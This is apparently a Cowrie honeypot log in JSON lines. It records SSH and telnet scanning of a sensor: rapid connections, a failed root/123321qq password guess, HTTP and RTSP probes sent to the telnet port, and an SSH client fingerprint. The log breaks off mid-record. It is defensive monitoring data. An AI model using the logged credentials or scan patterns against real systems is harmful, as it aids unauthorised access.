{"eventid":"cowrie.login.failed","username":"root","password":"123321qq","message":"login attempt [root/123321qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:04.326397Z","src_ip":"193.228.128.84","session":"dfbed1d786ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:05.433150Z","src_ip":"193.228.128.84","session":"dfbed1d786ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38904,"dst_ip":"10.17.0.5","dst_port":23,"session":"00c68ceffb23","protocol":"telnet","message":"New connection: 192.119.13.58:38904 (10.17.0.5:23) [session: 00c68ceffb23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:11.029536Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":35178,"dst_ip":"159.203.135.109","dst_port":23,"session":"36264d5630cf","protocol":"telnet","message":"New connection: 34.38.194.201:35178 (159.203.135.109:23) [session: 36264d5630cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:15.439251Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":35190,"dst_ip":"159.203.135.109","dst_port":23,"session":"ebd16acdf010","protocol":"telnet","message":"New connection: 34.38.194.201:35190 (159.203.135.109:23) [session: ebd16acdf010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:15.594196Z"}
{"eventid":"cowrie.session.closed","duration":0.005998134613037109,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:15.600045Z","src_ip":"34.38.194.201","session":"ebd16acdf010","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":35196,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e29a50d2b21","protocol":"telnet","message":"New connection: 34.38.194.201:35196 (159.203.135.109:23) [session: 9e29a50d2b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:15.749382Z"}
{"eventid":"cowrie.session.closed","duration":1.8428261280059814,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:17.281983Z","src_ip":"34.38.194.201","session":"36264d5630cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36410,"dst_ip":"159.203.135.109","dst_port":23,"session":"272fd3e181ff","protocol":"telnet","message":"New connection: 34.38.194.201:36410 (159.203.135.109:23) [session: 272fd3e181ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:24.904753Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET / HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:24.910514Z","src_ip":"34.38.194.201","session":"272fd3e181ff","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:24.914529Z","src_ip":"34.38.194.201","session":"272fd3e181ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09182572364807129,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:24.996482Z","src_ip":"34.38.194.201","session":"272fd3e181ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36420,"dst_ip":"159.203.135.109","dst_port":23,"session":"9acf686eb63d","protocol":"telnet","message":"New connection: 34.38.194.201:36420 (159.203.135.109:23) [session: 9acf686eb63d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:25.072244Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36424,"dst_ip":"159.203.135.109","dst_port":23,"session":"a746ea7adfc5","protocol":"telnet","message":"New connection: 34.38.194.201:36424 (159.203.135.109:23) [session: a746ea7adfc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:25.228691Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36430,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9fc0f078c43","protocol":"telnet","message":"New connection: 34.38.194.201:36430 (159.203.135.109:23) [session: f9fc0f078c43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:25.384216Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36440,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b2ed96855f","protocol":"telnet","message":"New connection: 34.38.194.201:36440 (159.203.135.109:23) [session: 30b2ed96855f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:25.539196Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36444,"dst_ip":"159.203.135.109","dst_port":23,"session":"7261662916e9","protocol":"telnet","message":"New connection: 34.38.194.201:36444 (159.203.135.109:23) [session: 7261662916e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:25.694456Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36446,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5903885d07","protocol":"telnet","message":"New connection: 34.38.194.201:36446 (159.203.135.109:23) [session: 8a5903885d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:25.849929Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36454,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b91ff809ee3","protocol":"telnet","message":"New connection: 34.38.194.201:36454 (159.203.135.109:23) [session: 9b91ff809ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:26.005941Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36464,"dst_ip":"159.203.135.109","dst_port":23,"session":"df0145bfacc5","protocol":"telnet","message":"New connection: 34.38.194.201:36464 (159.203.135.109:23) [session: df0145bfacc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:26.161005Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36480,"dst_ip":"159.203.135.109","dst_port":23,"session":"774c2f83d67b","protocol":"telnet","message":"New connection: 34.38.194.201:36480 (159.203.135.109:23) [session: 774c2f83d67b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:26.320831Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36490,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac6e47044f7","protocol":"telnet","message":"New connection: 34.38.194.201:36490 (159.203.135.109:23) [session: 7ac6e47044f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:26.551916Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":36494,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9b1645a1d71","protocol":"telnet","message":"New connection: 34.38.194.201:36494 (159.203.135.109:23) [session: a9b1645a1d71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:26.704481Z"}
{"eventid":"cowrie.session.closed","duration":0.005458354949951172,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:26.709829Z","src_ip":"34.38.194.201","session":"a9b1645a1d71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56908,"dst_ip":"159.203.135.109","dst_port":23,"session":"8171b4e99387","protocol":"telnet","message":"New connection: 34.38.194.201:56908 (159.203.135.109:23) [session: 8171b4e99387]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:26.861317Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56912,"dst_ip":"159.203.135.109","dst_port":23,"session":"507e4fd2d149","protocol":"telnet","message":"New connection: 34.38.194.201:56912 (159.203.135.109:23) [session: 507e4fd2d149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:27.014566Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56928,"dst_ip":"159.203.135.109","dst_port":23,"session":"98a1b47cbd08","protocol":"telnet","message":"New connection: 34.38.194.201:56928 (159.203.135.109:23) [session: 98a1b47cbd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:27.169364Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56942,"dst_ip":"159.203.135.109","dst_port":23,"session":"77007773de2e","protocol":"telnet","message":"New connection: 34.38.194.201:56942 (159.203.135.109:23) [session: 77007773de2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:27.324071Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56952,"dst_ip":"159.203.135.109","dst_port":23,"session":"45deac6c8671","protocol":"telnet","message":"New connection: 34.38.194.201:56952 (159.203.135.109:23) [session: 45deac6c8671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:27.477690Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56954,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef1b09fb7282","protocol":"telnet","message":"New connection: 34.38.194.201:56954 (159.203.135.109:23) [session: ef1b09fb7282]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:27.635764Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56966,"dst_ip":"159.203.135.109","dst_port":23,"session":"36b4a9a061e0","protocol":"telnet","message":"New connection: 34.38.194.201:56966 (159.203.135.109:23) [session: 36b4a9a061e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:27.790154Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56972,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ca729c6ee29","protocol":"telnet","message":"New connection: 34.38.194.201:56972 (159.203.135.109:23) [session: 7ca729c6ee29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:27.944039Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56978,"dst_ip":"159.203.135.109","dst_port":23,"session":"6823dd19e18e","protocol":"telnet","message":"New connection: 34.38.194.201:56978 (159.203.135.109:23) [session: 6823dd19e18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:28.100383Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:28.106592Z","src_ip":"34.38.194.201","session":"6823dd19e18e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56984,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba133bfb6911","protocol":"telnet","message":"New connection: 34.38.194.201:56984 (159.203.135.109:23) [session: ba133bfb6911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:28.260732Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":56986,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5019cc0f82","protocol":"telnet","message":"New connection: 34.38.194.201:56986 (159.203.135.109:23) [session: da5019cc0f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:28.415742Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":57000,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66e6c33dfc2","protocol":"telnet","message":"New connection: 34.38.194.201:57000 (159.203.135.109:23) [session: f66e6c33dfc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:28.578914Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":57006,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ad8512a412c","protocol":"telnet","message":"New connection: 34.38.194.201:57006 (159.203.135.109:23) [session: 9ad8512a412c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:28.732950Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":57018,"dst_ip":"159.203.135.109","dst_port":23,"session":"d727a80b523b","protocol":"telnet","message":"New connection: 34.38.194.201:57018 (159.203.135.109:23) [session: d727a80b523b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:28.887718Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":57034,"dst_ip":"159.203.135.109","dst_port":23,"session":"59b51069a151","protocol":"telnet","message":"New connection: 34.38.194.201:57034 (159.203.135.109:23) [session: 59b51069a151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:29.046044Z"}
{"eventid":"cowrie.session.closed","duration":0.005681037902832031,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:29.051608Z","src_ip":"34.38.194.201","session":"59b51069a151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":57050,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8f98222e2fb","protocol":"telnet","message":"New connection: 34.38.194.201:57050 (159.203.135.109:23) [session: c8f98222e2fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:29.203753Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":57066,"dst_ip":"159.203.135.109","dst_port":23,"session":"8127d91b039f","protocol":"telnet","message":"New connection: 34.38.194.201:57066 (159.203.135.109:23) [session: 8127d91b039f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:29.357991Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 3831","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 3831] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:29.364499Z","src_ip":"34.38.194.201","session":"8127d91b039f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.38.194.201","src_port":57076,"dst_ip":"159.203.135.109","dst_port":23,"session":"81767bbc0896","protocol":"telnet","message":"New connection: 34.38.194.201:57076 (159.203.135.109:23) [session: 81767bbc0896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:29.518636Z"}
{"eventid":"cowrie.session.closed","duration":0.005568265914916992,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:29.524062Z","src_ip":"34.38.194.201","session":"81767bbc0896","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58286,"dst_ip":"10.17.0.5","dst_port":23,"session":"e15528263141","protocol":"telnet","message":"New connection: 192.119.13.58:58286 (10.17.0.5:23) [session: e15528263141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:29.555249Z"}
{"eventid":"cowrie.session.closed","duration":18.93677806854248,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.685984Z","src_ip":"34.38.194.201","session":"9e29a50d2b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.3746657371521,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.732514Z","src_ip":"34.38.194.201","session":"8127d91b039f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.535030364990234,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.738672Z","src_ip":"34.38.194.201","session":"c8f98222e2fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.855807781219482,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.743418Z","src_ip":"34.38.194.201","session":"d727a80b523b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.015393972396851,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.748232Z","src_ip":"34.38.194.201","session":"9ad8512a412c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.337478876113892,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.753120Z","src_ip":"34.38.194.201","session":"da5019cc0f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.177986145019531,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.756795Z","src_ip":"34.38.194.201","session":"f66e6c33dfc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.816336393356323,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.760268Z","src_ip":"34.38.194.201","session":"7ca729c6ee29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.503427505493164,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.764045Z","src_ip":"34.38.194.201","session":"ba133bfb6911","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.676404237747192,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.776634Z","src_ip":"34.38.194.201","session":"6823dd19e18e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.990884304046631,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.780936Z","src_ip":"34.38.194.201","session":"36b4a9a061e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.150479316711426,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.786122Z","src_ip":"34.38.194.201","session":"ef1b09fb7282","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.312803030014038,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.790358Z","src_ip":"34.38.194.201","session":"45deac6c8671","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.470470905303955,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.794369Z","src_ip":"34.38.194.201","session":"77007773de2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.628924608230591,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.798169Z","src_ip":"34.38.194.201","session":"98a1b47cbd08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.789368152618408,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.803834Z","src_ip":"34.38.194.201","session":"507e4fd2d149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.946927785873413,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.808193Z","src_ip":"34.38.194.201","session":"8171b4e99387","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.260248184204102,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.812054Z","src_ip":"34.38.194.201","session":"7ac6e47044f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.495124816894531,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.815817Z","src_ip":"34.38.194.201","session":"774c2f83d67b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.659147500991821,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.819934Z","src_ip":"34.38.194.201","session":"df0145bfacc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.819462299346924,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.825274Z","src_ip":"34.38.194.201","session":"9b91ff809ee3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.135421752929688,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.829729Z","src_ip":"34.38.194.201","session":"7261662916e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.984321594238281,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.834129Z","src_ip":"34.38.194.201","session":"8a5903885d07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.299745798110962,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.838834Z","src_ip":"34.38.194.201","session":"30b2ed96855f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.77057147026062,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.842672Z","src_ip":"34.38.194.201","session":"9acf686eb63d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.462419748306274,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.846478Z","src_ip":"34.38.194.201","session":"f9fc0f078c43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.621750593185425,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:34.850302Z","src_ip":"34.38.194.201","session":"a746ea7adfc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":34054,"dst_ip":"159.203.135.109","dst_port":22,"session":"725a2557062a","protocol":"ssh","message":"New connection: 80.94.92.186:34054 (159.203.135.109:22) [session: 725a2557062a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:36.992283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T06:12:37.140766Z","src_ip":"80.94.92.186","session":"725a2557062a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 